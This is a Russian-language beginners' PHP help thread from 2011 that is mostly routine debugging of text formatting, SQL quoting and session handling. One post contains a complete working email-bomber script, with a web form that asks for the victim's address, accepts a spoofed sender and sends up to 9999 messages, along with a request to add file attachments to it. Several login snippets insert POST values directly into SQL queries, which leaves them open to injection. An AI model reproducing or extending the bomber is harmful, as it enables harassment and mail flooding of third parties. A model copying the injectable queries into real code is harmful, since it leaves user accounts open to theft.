[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    Чакэ, благодарю. То, что нужно.
     
  2. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    такой вопрос

    есть страница, с виду выглядит так, тоесть всё подряд
    PHP:
    The Cold In You  Phaeleh The Cold In You Год:2011 Стиль:Dubstep Рейтинг:Никто не оценивал Добавил:Skitalec72 Добавлен:2011.08.04 22:44 Битрейт:320 Кбит/с Размер архива:96 Мб Список композиций1. Phaeleh FeatSoundmouse The Cold In You (5:092. Phaeleh Caustic Storm (5:313. Phaeleh FeatI-Mitri Perilous (5:384. Phaeleh In The Twilight (6:265. Phaeleh Think About It (6:196. Phaeleh From A Distance (5:147. Phaeleh Should Be True (6:59)

    исходный код выглядит так

    PHP:
    </a> - The Cold In You </h4>
                    
    Phaeleh  The Cold In You 
                    
                        
                        
                            Год
    :2011
                            Стиль
    :Dubstep
                            Рейтинг
    :Никто не оценивал
                            Добавил
    :Skitalec72
                            Добавлен
    :2011.08.04 22:44
                            
                        
                        
                            Битрейт
    :320 Кбит/с
                            Размер архива
    :96 Мб
                        
                    
                    
                        Список композиций
    :
                  
    1. Phaeleh FeatSoundmouse The Cold In You (5:09)
    2. Phaeleh Caustic Storm (5:31)
    3. Phaeleh FeatI-Mitri Perilous (5:38)
    4. Phaeleh In The Twilight (6:26)
    5. Phaeleh Think About It (6:19)
    6. Phaeleh From A Distance (5:14)
    7. Phaeleh Should Be True (6:59)
                  

    есть ли какаянибуть функция или как можно всё упорядочить?

    нужно штобы со стороны выглядело так

    PHP:
    </a> - The Cold In You </h4>
     
    Phaeleh  The Cold In You     
     Год
    :2011
     Стиль
    :Dubstep
     Рейтинг
    :Никто не оценивал
     Добавил
    :Skitalec72
     Добавлен
    :2011.08.04  
                        
     Битрейт
    :320 Кбит/с
     Размер архива
    :96 Мб
                                                     
    Список композиций
    :
    1. Phaeleh FeatSoundmouse The Cold In You (5:09)
    2. Phaeleh Caustic Storm (5:31)
    3. Phaeleh FeatI-Mitri Perilous (5:38)
    4. Phaeleh In The Twilight (6:26)
    5. Phaeleh Think About It (6:19)
    6. Phaeleh From A Distance (5:14)
    7. Phaeleh Should Be True (6:59)
     
  3. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    qaz http://php.net/nl2br
     
    _________________________
    2 people like this.
  4. zed221

    zed221 New Member

    Joined:
    2 Aug 2011
    Messages:
    41
    Likes Received:
    1
    Reputations:
    -11
    люди нужна помощь есть скрипт вот он
    <?php

    class Bomb {

    function cli() {
    if(!defined("STDIN")) {
    define("STDIN", fopen('php://stdin','r'));
    }

    print "Please enter the Target email Address : ";
    $target = fread(STDIN, 80);
    print "From = $target\n";

    print "Please enter the from email Address :";
    $from = fread(STDIN, 80);
    print "From : $from\n";


    print "Please enter your message to the target(800 chr) :";
    $message = fread(STDIN, 800);
    print "Your message is :\n";
    print "$message";

    print "Please enter a subject :";
    $subject = fread(STDIN, 80);
    print "Subject : $subject\n";

    print "Please enter the Number of times to bomb(1-9999) :";
    $times = fread(STDIN, 4);
    print "Times : $times\n";

    $this->send($target,$subject,$message,$from,$times);
    }

    function html() {
    error_reporting(0);
    $target = $_POST['target'];
    $subject = $_POST['subject'];
    $message = $_POST['message'];
    $from = $_POST['from'];
    $times = $_POST['times'];
    print "
    <html>
    <head><title>Спамилка мыл</title>
    <style>
    body {
    background-color: #350000;
    color:#99ff32;
    font-size: 15px;
    }

    input {
    background-color: #222222;
    border: 1px solid #FFFFFF;
    color:#76defc;
    }
    a {
    color: #FFFFFF;
    }
    </style>
    <body>
    <center>
    <form action='' method='POST'>
    E-mail Жертвы :<br /> <INPUT NAME='target' TYPE='text'><BR>
    Текст сообщения : <br /><INPUT NAME='message' TYPE='text'><BR>
    Тема : <br /><INPUT NAME='subject' TYPE='text'><BR>
    От кого : <br /><INPUT NAME='from' TYPE='text'><BR>
    Кол-во писем (1-9999) : <br /><INPUT NAME='times' TYPE='text'><BR>
    <input type='submit' value='Спамить нах!'>
    </center>
    </body>
    </html>
    ";

    $this->send($target,$subject,$message,$from,$times);
    }



    function send($target,$subject,$message,$from,$times) {
    $headers = "From: " . $from;
    $i = 1;
    while($i <= $times) {
    mail($target, $subject, $message, $headers);
    print "$i sent ";
    $i++;
    }
    }
    }


    $bomb = new Bomb;
    $bomb->html(); // For HTML version
    #$bomb->cli(); // For CLI version
    ?>
    --------
    мне надо в этот скрипт тачней к этому скрипту привизать вотэту форму
    <table>
    <tr>
    <td><input name="file1" type="file"></td>
    </tr>
    <tr>
    <tr>
    <td><input name="file2" type="file"></td>
    </tr>
    </table>
    хотябы штук 10 этих форм вапрос как мне прописать
     
  5. Feksess

    Feksess New Member

    Joined:
    23 Jul 2009
    Messages:
    57
    Likes Received:
    3
    Reputations:
    -1
    Скрипт берет из БД значение поля 'id' и ставит значение этого поля в сессию.
    PHP:
    <?php
      $login
    =$_POST['login']; 
     
    $pass=$_POST['pass']; 
     include 
    "mysql.php";     
      
    $query "SELECT 'id'  FROM 'table'  WHERE 'login'='$login' AND 'pass'='$pass'  LIMIT 1";     
     
    $sql mysql_query($query);        
          if (
    mysql_num_rows($sql) == 1) { 
                         
    $row mysql_fetch_assoc($sql);     
         
    $_SESSION['user_id'] = $row['id']; 
     echo  
    $_SESSION['user_id'];    } 
     else{  echo 
    "error";  }  
    ?>
    Выдает ошибку Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in Z:\home\localhost\www\1\enter1.php on line 14

    В чем дело?
     
  6. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    Ошибка в запросе, или же не удалось подключится в базе.
    Используйте функцию mysql_error чтобы узнать конкретную ошибку, и все станет ясно.
    PHP:
    $sql mysql_query($query) or die(mysql_error());
    А еще после запроса, попробуйте вывести в текстовом варианте переменную $sql, и посмотрите что там.
     
    #19006 brain, 5 Aug 2011
    Last edited: 5 Aug 2011
  7. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Feksess, измените строку с запросом на такую:
    PHP:
    $query "SELECT `id`  FROM `table`  WHERE `login` = '$login' AND `pass` = '$pass'  LIMIT 1";
    И от скули следует защититься.

    bagon66, скачать и поставить
     
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    Всем привет, возникла такая проблема, я сейчас в кратце разскажу а вы уж сами судите,

    есть скрипт1 который открывается во фрейме сайта, и во время просмотра сайта етот скрипт посылает пост запрос на скрипт2 который берёт контент с сайта и отправляет его пост запросом на другой сайт, проблема в том што контент иногда приходит неполный, с чем ето может быть связано, и што можно попробовать исправить?

    и ещо сразу вопрос, я попробовал применить
    ignore_user_abort(1); незнаю получится или нет

    што значат цифры в етой функции? хто может мне обьяснить
    0 - NORMAL
    1 - ABORTED
    2 - TIMEOUT

    1 - ABORTED переводится как ,,прервана,, тоесть ето значит што функция прерывается или нет?
     
    #19008 qaz, 5 Aug 2011
    Last edited: 5 Aug 2011
  9. Feksess

    Feksess New Member

    Joined:
    23 Jul 2009
    Messages:
    57
    Likes Received:
    3
    Reputations:
    -1
    PHP:
    <?php
      
    include "mysql.php";  
    $login=$_POST['login']; 
     
    $query "SELECT 'name'   FROM 'users'   WHERE 'login'='{$login}'   LIMIT 1"
     
    $sql mysql_query($query) or die(mysql_error());  
      if (
    mysql_num_rows($sql) == 1) {   
       
    $row mysql_fetch_assoc($sql);          
        
    $salt $row['name'];              
      
    $pass md5(md5($_POST['pass']) . $salt); }  
      if(
    preg_match("#^[a-zA-Z0-9]*$#"$login) && preg_match("#^[a-zA-Z0-9]*$#"$pass) && strlen($login)>=&& strlen($login)<=20 && strlen($pass)>=4
     {    
    $query "SELECT `id`  FROM `users`  WHERE `login` = '$login' AND `pass` = '$pass'  LIMIT 1"
         
    $sql mysql_query($query) or die(mysql_error());   
             if (
    mysql_num_rows($sql) == 1) {                    $row mysql_fetch_assoc($sql);        
      
    $_SESSION['user_id'] = $row['id']; 
     echo  
    $_SESSION['user_id'];        }      }  else{    echo "Ошибка";    }        
      
    ?>

    Выводит ошибку You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users' WHERE 'login'='login' LIMIT 1' at line 2.
    Что не так?
     
  10. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    У вас в синтаксисе ошибки выдает вам.
    В начале попробуйте тоже заменить
    PHP:
    $query "SELECT 'name'   FROM 'users'   WHERE 'login'='{$login}'   LIMIT 1";
    на
    PHP:
    $query "SELECT name   FROM users   WHERE login = '$login'   LIMIT 1";
     
    #19010 brain, 5 Aug 2011
    Last edited: 5 Aug 2011
  11. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    а лутше так
    PHP:
    $query "SELECT `name`   FROM `users`   WHERE login = '".$login."'   LIMIT 1";
     
  12. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Feksess, снова та же ошибка. Имена колонок и таблиц следует заключать в обратные апострофы, а не в одинарные. Или вообще без них
     
  13. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    есть страница исхлдный код которой
    примерно такой
    PHP:
    текст






    текст






    и тд
    .

    мне нужно удалить все пробелы

    тоесть штоб было всё так

    PHP:
    текст
    текст
    и тд
    .
    как ето делать? функция trim непомагает
     
  14. Feksess

    Feksess New Member

    Joined:
    23 Jul 2009
    Messages:
    57
    Likes Received:
    3
    Reputations:
    -1
    Теперь ошибку не выдает. Но не выводит $_SESSION['user_id'] и
    $salt
     
  15. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    PHP:
    session_start();
    прописан? Тебе лучше сатью почитать про регистрацию\авторизацию с сессиями.
     
  16. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    наверно потомушто

    $row = mysql_fetch_assoc($sql);
    $_SESSION['user_id'] = $row['id'];

    должно быть в цикле
     
  17. Feksess

    Feksess New Member

    Joined:
    23 Jul 2009
    Messages:
    57
    Likes Received:
    3
    Reputations:
    -1
    прописал session_start(); Всё тоже самое.
     
  18. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    пробовал в цикл записать?

    while($row = mysql_fetch_assoc($sql))

    {
    $_SESSION['user_id'] = $row['id'];
    }
     
  19. Feksess

    Feksess New Member

    Joined:
    23 Jul 2009
    Messages:
    57
    Likes Received:
    3
    Reputations:
    -1
    пробовал, не выводит и всё. Думаю дело не в сессии. Пробывал просто вывести данные из поля echo $row['id']; Но не выводит.
     
  20. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Feksess, последуйте совету brain (session_start() в начало скрипта), а товарищу qaz-у рановато в этой теме отвечать
     
Thread Status:
Not open for further replies.